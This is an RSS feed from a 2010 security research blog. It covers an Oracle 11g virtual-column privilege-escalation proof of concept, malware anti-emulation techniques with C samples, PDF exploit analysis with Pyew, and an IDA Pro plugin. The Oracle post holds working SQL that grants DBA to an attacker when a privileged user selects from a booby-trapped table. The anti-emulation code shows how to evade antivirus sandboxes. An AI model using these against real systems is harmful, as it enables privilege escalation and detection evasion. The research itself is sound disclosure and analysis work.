<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unintended Results &#187; Uncategorized</title>
	<atom:link href="http://joxeankoret.com/blog/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://joxeankoret.com/blog</link>
	<description>Or maybe not</description>
	<lastBuildDate>Fri, 14 May 2010 23:41:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Dangers of Oracle Virtual Columns</title>
		<link>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/</link>
		<comments>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/#comments</comments>
		<pubDate>Fri, 14 May 2010 22:50:13 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=144</guid>
		<description><![CDATA[Virtual Columns is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it&#8217;s useful it can be dangerous too. What happens if someone creates a table column based on a &#8220;malicious&#8221; PL/SQL function? What happens when someone selects data from a table with a virtual column that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wiki.oracle.com/page/Virtual+Columns">Virtual Columns</a> is a new feature of Oracle 11g. This feature allows to create table columns based on PL/SQL functions. While it&#8217;s useful it can be dangerous too.<br />
<span id="more-144"></span></p>
<p>What happens if someone creates a table column based on a &#8220;malicious&#8221; PL/SQL function? What happens when someone selects data from a table with a virtual column that executes a GRANT command? If the user executing the query is a normal user, the function will fail, however, if the user is privileged, the code will be executed and the DBA privilege will be granted to the user &#8220;JOXEAN&#8221;, like in the following sample:</p>
<pre lang="sql">SQL&gt; create user joxean identified by joxean;
User created.

SQL&gt; grant connect, resource to joxean;
Grant succeeded.

SQL&gt; conn joxean/joxean
Connected.
SQL&gt; CREATE OR REPLACE FUNCTION F1 (p_value IN VARCHAR2)
  RETURN VARCHAR2 AUTHID CURRENT_USER deterministic
AS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'grant dba to joxean';
  RETURN '1';
END F1;
/
Function created.

SQL&gt; CREATE TABLE t2
(
  col1 VARCHAR2(50),
  col2 generated always AS (f1('asdf')) virtual
);
Table created.

SQL&gt; select * from t2;
no rows selected

SQL&gt; insert into t2 (col1) values ( 'a' );
1 row created.

SQL&gt; commit;
Commit complete.

SQL&gt; select * from t2;
select * from t2
*
ERROR at line 1:
ORA-01031: insufficient privileges
ORA-06512: at "JOXEAN.F1", line 6

SQL&gt; select * from user_role_privs;

USERNAME		       GRANTED_ROLE		      ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
JOXEAN			       CONNECT			      NO  YES NO
JOXEAN			       RESOURCE 		      NO  YES NO

SQL&gt; conn / as sysdba
Connected.
SQL&gt; select * from joxean.t2;

COL1   COL2
----- -----
a         1

SQL&gt; select * from dba_role_privs where grantee = 'JOXEAN';

GRANTEE 		       GRANTED_ROLE		      ADM DEF
------------------------------ ------------------------------ --- ---
JOXEAN			       RESOURCE 		      NO  YES
JOXEAN			       DBA			      NO  YES
JOXEAN			       CONNECT			      NO  YES</pre>
<p>While it isn&#8217;t a big issue it can be used as a &#8220;logical bomb&#8221; by an atacker with CREATE TABLE privileges: Simply create a table with an interesting name and wait for DBA to select data from this table <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Oh! By the way, to create a permanent table you only need to have the privilege to create a temporary table&#8230; But this is another history <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/14/dangers-of-oracle-virtual-columns/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MyNav, a python plugin for IDA Pro</title>
		<link>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/</link>
		<comments>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/#comments</comments>
		<pubDate>Sun, 02 May 2010 15:28:53 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=146</guid>
		<description><![CDATA[MyNav is an Open Source IDAPython plugin for the commercial disassembler IDA Pro to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known Zynamics BinNavi or HB Gary&#8216;s Inspector. In this blog post I will show you some of the features [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/mynav" target="_blank">MyNav</a> is an <a href="http://en.wikipedia.org/wiki/Open_Source" target="_blank">Open Source</a> <a href="http://code.google.com/p/idapython/" target="_blank">IDAPython</a> plugin for the commercial disassembler <a href="http://www.hex-rays.com/" target="_blank">IDA Pro</a> to be released on July 2010. The plugin adds a lot of new features only available in other products like in the well known <a href="http://www.zynamics.com" target="_blank">Zynamics</a> <a href="http://www.zynamics.com/binnavi.html" target="_blank">BinNavi</a> or <a href="http://www.hbgary.com/" target="_blank">HB Gary</a>&#8216;s Inspector. In this blog post I will show you some of the features available in the current version with some examples.<br />
<span id="more-146"></span><br />
<strong>Function&#8217;s browser</strong></p>
<p>The navigator is good to get an idea about what a function does as we can see and browse in a user-friendly GUI all the functions executed from one specific point. For example, open the typical windows binary calc.exe in IDA Pro, wait until the initial analysis ends, run the script mynav.py in IDA and jump to the function &#8220;?CalcWndProc@@YGJPAUHWND__@@IIJ@Z&#8221; (at address 0&#215;01006118 in Windows XP SP 3). Now, select Edit-&gt;Plugins-&gt;MyNav &#8211; Browse Function. A new dialog box will appear asking for the maximum recursion level, enter the number 1 and click OK. The following (browseable) graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png"><img class="aligncenter size-full wp-image-161" title="Browsing CalcWndProc" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-calcwndproc.png" alt="" width="1280" height="998" /></a></p>
<p>Depending on the selected maximum recursion level, some child nodes will be hidden like, for example, the childs nodes of the function &#8220;?SetRadix@@YGXK@Z&#8221;. To see the hidden nodes simply double clik in the node with text &#8220;(8 more nodes)&#8221;. The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png"><img class="aligncenter size-full wp-image-162" title="Browse childs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-childs.png" alt="" width="1280" height="997" /></a></p>
<p>In this graph we can see what functions are executed from the &#8220;SetRadix&#8221; one. We can continue browsing the graph entering and leaving in some other functions but, what if I want to see what API calls are executed from an specific function? To open a browseable graph showing API calls select in the IDA&#8217;s disassembly view the desired function (for example, the function at address 0x010022F9 in Windows XP SP3 -?CIO_vConvertToString@@YGXPAPAGPAUCALCINPUTOBJ@@H@Z-) and select Edit-&gt;Plugins-&gt;MyNav &#8211; Browse functions (show APIs), leave the default maximum recursion level and click OK. The browseable graph bellow will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png"><img class="aligncenter size-full wp-image-163" title="Browse showing APIs" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/browse-api-calls.png" alt="" width="833" height="469" /></a></p>
<p>Taking a look to this graph we can &#8220;abstractly&#8221; see what the function ConvertToString does.</p>
<p><strong>Code path searching</strong></p>
<p>One of the most typical tasks when looking for vulnerabilities is to find a code path between data entry points (functions where you can insert data) and some target functions (vulnerable ones). With MyNav we can search automatically for code paths between 2 functions with just a few clicks. For example, continuing with the Windows calculator, we will search code paths from &#8220;WinMain&#8221; and &#8220;EverythingResettingNumberSetup&#8221; so, select Edit-&gt;Plugins-&gt;MyNav &#8211; Show code paths between 2 functions. A dialog box showing all the binary&#8217;s functions will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png"><img class="aligncenter size-full wp-image-164" title="Select function" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/function-select.png" alt="" /></a></p>
<p>In this dialog box select the starting point (WinMain) and click OK, the same dialog will appear again asking for the target function, select &#8220;EverythingResettingNumberSetup&#8221; and click OK. The following graph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png"><img class="aligncenter size-full wp-image-165" title="Code paths" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/show-codepaths.png" alt="" width="1280" height="995" /></a></p>
<p><strong>Differential debugging usage example: notepad<br />
</strong></p>
<p>In this example we will discover and analyze the code responsible for opening a file in notepad. Run IDA Pro and open the notepad.exe binary. Wait until the initial analysis finishes and, after it, run the script mynav.py in IDA. A lot of new menus will be added under Edit-&gt;Plugins as shown bellow:</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus.png"><img class="size-medium wp-image-147 aligncenter" title="Menus" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/menus-300x263.png" alt="" width="300" height="263" /></a></p>
<p>Now, select a debugger from the debugger dropdown list and select from Edit-&gt;Plugins menu the option called &#8220;MyNav &#8211; New session&#8221;. A dialog box asking for a session&#8217;s name will appear. Enter a meaningfull name like &#8220;GuiNoise&#8221; or something like this as we will be recording the code responsible of GUI painting, uninteresting for our goal (discover the code executed when we open a file inside notepad).</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png"><img class="aligncenter size-full wp-image-149" title="session-name" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-name.png" alt="" width="650" height="115" /></a></p>
<p>Press OK and a message box saying that there is no breakpoint set will appear. Answer &#8220;Yes&#8221; and MyNav will set a breakpoint in every function and start the debuggger. While the application is running move the window, minimize, maximize, restore it, popup the contextual menus and close the application when done. When debugging stops, a graph showing all the executed functions will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png"><img class="aligncenter size-full wp-image-150" title="GUI noise" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/gui-noise.png" alt="" width="1280" height="994" /></a></p>
<p>This callgraph shows all the functions executed and the relationships between them. All the breakpoints sets in a function that was executed in this session were removed after the first hit so we will not stop again in the GUI related code. Now, record another session, select Edit-&gt;Plugin-&gt;MyNav &#8211; New session and enter the name &#8220;FileOpenDialog&#8221;. When the debugger starts select in notepad &#8220;File-&gt;Open&#8221; and cancel the dialog box. Select again in notepad &#8220;File-&gt;Open&#8221; but this time select a file to open. When done, close the application and the following callgraph will appear:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png"><img class="aligncenter size-full wp-image-152" title="File open callgraph" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/file-open-callgraph.png" alt="" width="1024" height="579" /></a></p>
<p>This time only 7 functions appeared, those responsible of showing the file open dialog box and opening the file. The notepad.exe binary contains 88 functions and we discovered in a few seconds the interesting functions. Now, it&#8217;s time to discover the exact code executed when I cancel the dialog box and when I select a file to open so, select Edit-&gt;Plugins-&gt;MyNav &#8211; Trace in session and a dialog box will appear showing all the recorded session. Select the session named &#8220;FileOpen&#8221; in the dialog shown bellow:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png"><img class="aligncenter size-full wp-image-154" title="Sessions" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/active-sessions.png" alt="" width="400" height="205" /><br />
</a></p>
<p>After it, the typical dialog box asking for a sessions name will appear. Enter the name &#8220;TraceFileOpenCancel&#8221;, click OK and the debugger starts. When notepad is opened, select File-&gt;Open, cancel the dialog box and close the application.</p>
<p style="text-align: center;"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png"><img class="aligncenter size-full wp-image-155" title="Trace file open cancel" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen-cancel.png" alt="" width="1280" height="995" /></a></p>
<p>The colored basic blocks are those executed when we cancelled the dialog box. Now, we will trace again the same session but this time opening a file so, select Edit-&gt;Plugins-&gt;MyNav &#8211; Trace in session, select the session named &#8220;FileOpen&#8221; and enter the name &#8220;TraceFileOpen&#8221;. When debugger starts the application select File-&gt;Open and open a file. When done, close notepad and the following code will be shown:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png"><img class="aligncenter size-full wp-image-157" title="Trace file open" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/trace-fileopen.png" alt="" width="1280" height="996" /></a></p>
<p>The new color shows the basic blocks executed this time. If we want, we can see the differences between the 2 sessions. Select Edit-&gt;Plugins-&gt;MyNav &#8211; Show step trace session and a dialog box showing a list of all the recorded trace sessions will appear. Select the trace session called &#8220;TraceFileOpenCancel&#8221; and click OK. Notice the change in the graph:</p>
<p><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png"><img class="aligncenter size-full wp-image-158" title="Sessions intersection" src="http://joxeankoret.com/blog/wp-content/uploads/2010/05/session-traces.png" alt="" width="1280" height="996" /></a></p>
<p>In about 5 minutes we discovered the functions and the instructions executed when we cancel the file open dialog box and when we open a file. It was easy, wasn&#8217;t it? <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Final Notes</strong></p>
<p>MyNav will be released in July 2010 and the code will be uploaded to the <a href="http://code.google.com/p/mynav">project page</a> at <a href="http://code.google.com" target="_blank">Google Code</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/05/02/mynav-a-python-plugin-for-ida-pro/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Antiemulation Techniques (Malware Tricks II)</title>
		<link>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/</link>
		<comments>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 18:55:00 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[antidebugging]]></category>
		<category><![CDATA[antiemulation]]></category>
		<category><![CDATA[unpacking]]></category>
		<category><![CDATA[virtual machine detection]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=74</guid>
		<description><![CDATA[From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren&#8217;t very interesting. Anyway, a friend and I decided [...]]]></description>
			<content:encoded><![CDATA[<p>From time to time, when reversing malware, I find new antiemulation techniques as they are widely used by malware to evade detection by AVs that uses emulation, however, it seems that no one wrote about them maybe because there are a lot or, maybe, because they aren&#8217;t very interesting. Anyway, a friend and I decided to look for antiemulation techniques and we found a bunch of them in just about 2 days. Surprise. Well, the following is a list of antiemulation techniques &#8220;found&#8221; by us.<br />
<span id="more-74"></span><br />
<strong>API Emulation</strong></p>
<p>The most typically used antiemulation technique is the use of undocumented APIs or the use of non common ones such as, in example, <a href="http://msdn.microsoft.com/en-us/library/ms680621(VS.85).aspx">SetErrorMode</a>:</p>
<pre lang="c">DWORD dwCode = 1024;

  SetErrorMode(1024);
  if (SetErrorMode(0) != 1024)
    printf("Hi emulator!\n");</pre>
<p>This technique catches, at least, the IDAPro+Bochs debugger and Norman Sandbox.</p>
<p>Another typical trick is the use of non existent APIs. Many emulators will try to &#8220;emulate&#8221; the function by simply returning 0 instead of failing with a null pointer exception. Another one, try to load a vital library for the operating system which is not emulated and call an exported function: just trying to load the library will fail in almost any emulators:</p>
<pre lang="c">int test6(void)
{
HANDLE hProc;

    hProc = LoadLibrary("ntoskrnl.exe");

    if (hProc == NULL)
        return EMULATOR_DETECTED;
    else
        return EMULATOR_NOT_DETECTED;
}</pre>
<p>Just in the case an emulator allows to load any library returning a pseudo handle, a bit more complex examples:</p>
<pre lang="c">struct data1
{
  int a1;
  int a2;
};

struct data2
{
  int a1;
  int a2;
  int a3;
  int a4;
  int a5;
  int a6;
  struct data1 *a7;
};

typedef int (WINAPI *FCcSetReadAheadGranularity)(struct data2 *a1, int num);
typedef int (WINAPI *FIofCallDriver)();

int test8(void)
{
HINSTANCE hProc;
FIofCallDriver pIofCallDriver;

	hProc = LoadLibrary("ntkrnlpa.exe");

	if (hProc == NULL)
		return 0;

	pIofCallDriver = (FIofCallDriver) GetProcAddress(hProc, "IofCallDriver");
	pIofCallDriver -= 2; // At this point there is a 0xCC character, so an INT3 should be raised

	try
	{
		pIofCallDriver();
		return EMULATOR_DETECTED;
	}
	catch(...)
	{
		return EMULATOR_NOT_DETECTED;
	}

}

int test9(void)
{
HINSTANCE hProc;
FCcSetReadAheadGranularity CcSetReadAheadGranularity;
struct data1 s1;
struct data2 s2;
int ret;

	hProc = LoadLibrary("ntkrnlpa.exe");

	if (hProc == NULL)
		return 0;

	CcSetReadAheadGranularity = (FCcSetReadAheadGranularity)GetProcAddress(hProc, "CcSetReadAheadGranularity");

	if (CcSetReadAheadGranularity == NULL)
		return 0;

	s1.a2 = 0;
	s2.a7 = &amp;s1;

        // After this call, ret must be 0x666, the given 2nd argument minus 1
	ret = CcSetReadAheadGranularity(&amp;s2, 0x667);

	if (ret != 0x666)
		return EMULATOR_DETECTED;
	else
		return EMULATOR_NOT_DETECTED;

}</pre>
<p>This technique(s) works in the 3 emulators I tested (Norman Sandbox, IDA+Bochs and Wine) and I&#8217;m pretty sure that them will work in any emulator.</p>
<p><strong>Old Features</strong></p>
<p>In the old -<em>good?</em>- days of MSDOS and Windows 9x the AUX, CON, and other special devices were used to read data from the keyboard, change terminal colors, etc&#8230; This behavior, while not currently supported (if I&#8217;m not wrong), works in current Microsoft Windows operating systems but not in emulators. The following is an easy example:</p>
<pre lang="c">FILE *f;

    f = fopen("c:\\con", "r");

    if (f == NULL)
        return EMULATOR_DETECTED;
    else
        return EMULATOR_NOT_DETECTED;</pre>
<p>The unique &#8220;emulator&#8221; that simulates correctly this behavior is Wine. This technique was found by 2 of my co-workers, <em>nick-namely</em>, &#8220;PE_Luchin&#8221; and &#8220;Shaddy&#8221;.</p>
<p><strong>Assembly</strong></p>
<p>Emulating corrrectly a complete CPU is a very hard task and is also the most error prone area to look for incongruencies. Norman Sandbox works remarkably bad in this sense: The emulator fails (or it failed, I didn&#8217;t tested it since last year) with instructions like ICEBP or UD2 and allows changing, in example, the debug registers via privileged instructions. Easier to see in the following 4 examples:</p>
<pre lang="c">int test1(void)
{
    try
    {
		__asm
		{
			mov eax, 1
			mov dr0, eax
		}
    }
    catch(...)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

int test2(void)
{
    try
    {
		__asm
		{
			mov eax, 1
			mov cr0, eax
		}
    }
    catch(...)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

int test3(void)
{
    try
    {
        __asm int 4
    }
    catch(...)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

/** Norman Sandbox stoped execution at this point <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  */
int test4(void)
{
    try
    {
        __asm ud2
    }
    catch(...)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}

/** Norman Sandbox stoped execution at this point <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  */
int test5(void)
{
    try
    {
        // icebp
	__asm  _emit 0xf1
    }
    catch(...)
    {
        return EMULATOR_NOT_DETECTED;
    }

    return EMULATOR_DETECTED;
}</pre>
<p>These tests were launched against Wine, IDA+Bochs and Norman. While they don&#8217;t work in Bochs they makes failing both Norman Sandbox and Wine; both thinks the process has crashed and stops execution.</p>
<p><strong>Conclussion</strong></p>
<p>There are a lot of antiemulation techniques and these are just simple examples; writting much more elaborated ones is a matter of time and it&#8217;s simply impossible to circunvent all the antiemulation techniques. The old cat &amp; mouse game <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/23/antiemulation-techniques-malware-tricks-ii/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Analyzing PDF exploits with Pyew</title>
		<link>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/</link>
		<comments>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 14:46:23 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[pyew]]></category>
		<category><![CDATA[obfuscated]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=95</guid>
		<description><![CDATA[Something I really hate to do when analyzing PDF malware exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for Pyew to automatically see them. Now, with the new version of the plugin (download it from the Mercurial [...]]]></description>
			<content:encoded><![CDATA[<p>Something I really hate to do when analyzing PDF malware  exploits is to manually extract the streams and manually decode them to see the, typically, hidden JavaScript code, so I decided to extend the PDF plugin for <a title="Pyew" href="http://code.google.com/p/pyew" target="_blank">Pyew</a> to automatically see them. Now, with the new version of the plugin (download it from the <a href="http://code.google.com/p/pyew/source/checkout" target="_blank">Mercurial repository</a>) we can see what filters are used in the exploit and, the most important thing, we can see the decoded streams, independently of how many filters are being used.<br />
<span id="more-95"></span><br />
<strong>Example</strong></p>
<p>For example, I will take one obfuscated PDF exploit (SHA256 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576). I will open it in Pyew to see what is inside so, simply, run the command &#8220;pyew pdf.file&#8221;:</p>
<blockquote><p>$ pyew sample.pdf<br />
PDF File</p>
<p>PDFiD 0.0.9_PL 6a8204ee7b703f96f811f32f903ac9df4045b05910d633fc34fed89e2e0a7576<br />
PDF Header: %PDF-1.1<br />
obj                    4<br />
endobj                 4<br />
stream                 1<br />
endstream              1<br />
xref                   1<br />
trailer                1<br />
startxref              1<br />
/Page                  1<br />
/Encrypt               0<br />
/ObjStm                0<br />
/JS                    1<br />
/JavaScript            1<br />
/AA                    0<br />
/OpenAction            1<br />
/AcroForm              0<br />
/JBIG2Decode           0<br />
/RichMedia             0<br />
/Colors &gt; 2^24         0<br />
%%EOF                  1<br />
After last %%EOF       0<br />
Total entropy:           4.293999 (      5547 bytes)<br />
Entropy inside streams:  3.669587 (      4773 bytes)<br />
Entropy outside streams: 5.132696 (       774 bytes)</p>
<p>(&#8230;)</p>
<p>[0x00000000]&gt; p<br />
%PDF-1.1<br />
%&amp;#1074;&amp;#1075;&amp;#1055;&amp;#1059;<br />
1 0 obj<br />
&lt;&lt;<br />
/Type /Catalog<br />
/OpenAction &lt;&lt;<br />
/JS 4 0 R<br />
/S /JavaScript<br />
&gt;&gt;<br />
/Pages 2 0 R<br />
&gt;&gt;<br />
endobj<br />
2 0 obj<br />
&lt;&lt;<br />
/Type /Pages<br />
/Kids [ 3 0 R ]<br />
/Count 1<br />
&gt;&gt;<br />
endobj<br />
3 0 obj<br />
&lt;&lt;<br />
/Type /Page<br />
/Parent 2 0 R<br />
/Resources &lt;&lt;<br />
/Font &lt;&lt;<br />
/F1 &lt;&lt;<br />
/Type /Font<br />
/Name /F1<br />
/Subtype /Type1<br />
/BaseFont /Helvetica<br />
&gt;&gt;<br />
&gt;&gt;<br />
&gt;&gt;<br />
/MediaBox [ 0 0 795 842 ]<br />
&gt;&gt;<br />
endobj<br />
4 0 obj<br />
&lt;&lt;<br />
/Length 4769<br />
/Filter [/ASCIIHexDecode /ASCII85Decode /#4c</p></blockquote>
<p>What we see in Pyew? The output of <a href="http://blog.didierstevens.com/programs/pdf-tools/" target="_blank">PDFId</a> (a great tool by Didier Stevens) as well as the hexadecimal output of the first block (512 bytes). Taking a brief look to the 1st block of data we see one "OpenAction" to execute JavaScript. Surprise. The code "/JS 4 0 R" specifies that the JavaScript code to be executed is the object number 4. Seeking to the offset where the object #4 is and printing the buffer (in ASCII) we will find the following:</p>
<blockquote>
<pre>[0x000001b7]&gt; s 0x1b7
[0x000001b7]&gt; p
4 0 obj
&lt;&lt;
        /Length 4769
        /Filter [/ASCIIHexDecode /ASCII85Decode /#4c#5a#57De#63#6fde /R#75nLen#67t#68#44ecod#65 /FlateDecode ]
&gt;&gt;stream
4A2E3539605651222D714E634326304C5A47725A236A63494B26682C323A4E532&#8230;</pre>
</blockquote>
<p>The object is multiple times encoded and, which is more, the strings to specify what filters must be used in order to decode the stream are encoded too. It's perfectly legal according to the PDF specifications, although pretty suspicious. Pyew does a good job decoding both the encoded strings and the multiple times encoded stream. To see the streams just type "pdfvi" to see the encoded streams in the console:</p>
<blockquote>
<pre>eval(unescape("%76%61%72%20%56%68%4C%66%4E%20%3D..."))</pre>
</blockquote>
<p>Wow! it's a <em>small</em> chunk of JavaScript data <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Pyew <em>automagically</em> applied all the filters needed (ASCIIHexDecode, ASCII85Decode, LZWDecode, RunLengthDecode and FlateDecode) and printed out the obfuscated code. We can see it, too, in a graphical user interface. Instead of typing "pdfvi" execute the command "pdfview". You will see the following screen:</p>
<div id="attachment_96" class="wp-caption aligncenter" style="width: 310px"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf1.png"><img class="size-medium wp-image-96" title="Obfuscated Stream View" src="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf1-300x156.png" alt="Obfuscated Stream View" width="300" height="156" /></a><p class="wp-caption-text">Obfuscated Stream View</p></div>
<p><strong>More Examples</strong></p>
<p>OK, so we can see now the encoded stream but, what if there are a lot of encoded streams and we must check them all or if we want to see just one of them? For this purpose, and also to show the Pyew's APIs, I created an example usage of the PDF API. The example reads all the streams and shows a list of all the encoded streams as you may see in the following snapshot:</p>
<div id="attachment_97" class="wp-caption aligncenter" style="width: 310px"><a href="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf2.png"><img class="size-medium wp-image-97" title="Usage example of the PDF API" src="http://joxeankoret.com/blog/wp-content/uploads/2010/02/pdf2-300x156.png" alt="Usage example of the PDF API" width="300" height="156" /></a><p class="wp-caption-text">Usage example of the PDF API</p></div>
<p>Using this simple screen we can see all the streams or just one specific (encoded) stream. This is the code of this example usage of the Pyew's API for the PDF format:</p>
<pre lang="python">#!/usr/bin/env python

import os
import sys

from pyew_core import CPyew
from easygui import choicebox, fileopenbox, msgbox

def main(filename=None):
    if filename is None:
        filename = fileopenbox(msg="Select PDF file", default="*.pdf", filetypes=["*.pdf"])
        if filename is None:
            return

    pyew = CPyew(batch=True)
    pyew.loadFile(filename)

    streams = pyew.plugins["pdfilter"](pyew, doprint=True)
    if len(streams) == 0:
        msgbox(title="PDF Streams",msg="No encoded streams found")

    l = []
    l.append("About PDF Streams Viewer")
    l.append("See all streams (both encoded and unencoded)")
    for x in streams:
        l.append("Stream %d encoded with %s" % (x, streams[x]))
    l.append("Quit")

    while 1:
        c = choicebox(msg="Select one stream to view it decoded", title="Stream Viewer", choices=l)
        if c is None:
            break
        elif c.lower() == "quit":
            break
        elif c.lower().startswith("about"):
            msgbox(title="About PDF Streams Viewer",
                   msg="Example usage of the Pyew APIs to see PDF streams. Written by Joxean Koret")
        elif c.lower().startswith("see all"):
            pyew.plugins["pdfview"](pyew, doprint=False, stream_id=-1)
        else:
            stream_id = int(c.split(" ")[1])
            pyew.plugins["pdfview"](pyew, stream_id=stream_id)

if __name__ == "__main__":
    if len(sys.argv) == 1:
        main()
    else:
        main(sys.argv[1])</pre>
<p>And, that's all for the moment. I hope you like the new Pyew's features <img src='http://joxeankoret.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pyew! A Python tool to analyze malware</title>
		<link>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/</link>
		<comments>http://joxeankoret.com/blog/2010/02/08/pyew-a-python-tool-to-analyze-malware/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 18:37:11 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[tools]]></category>

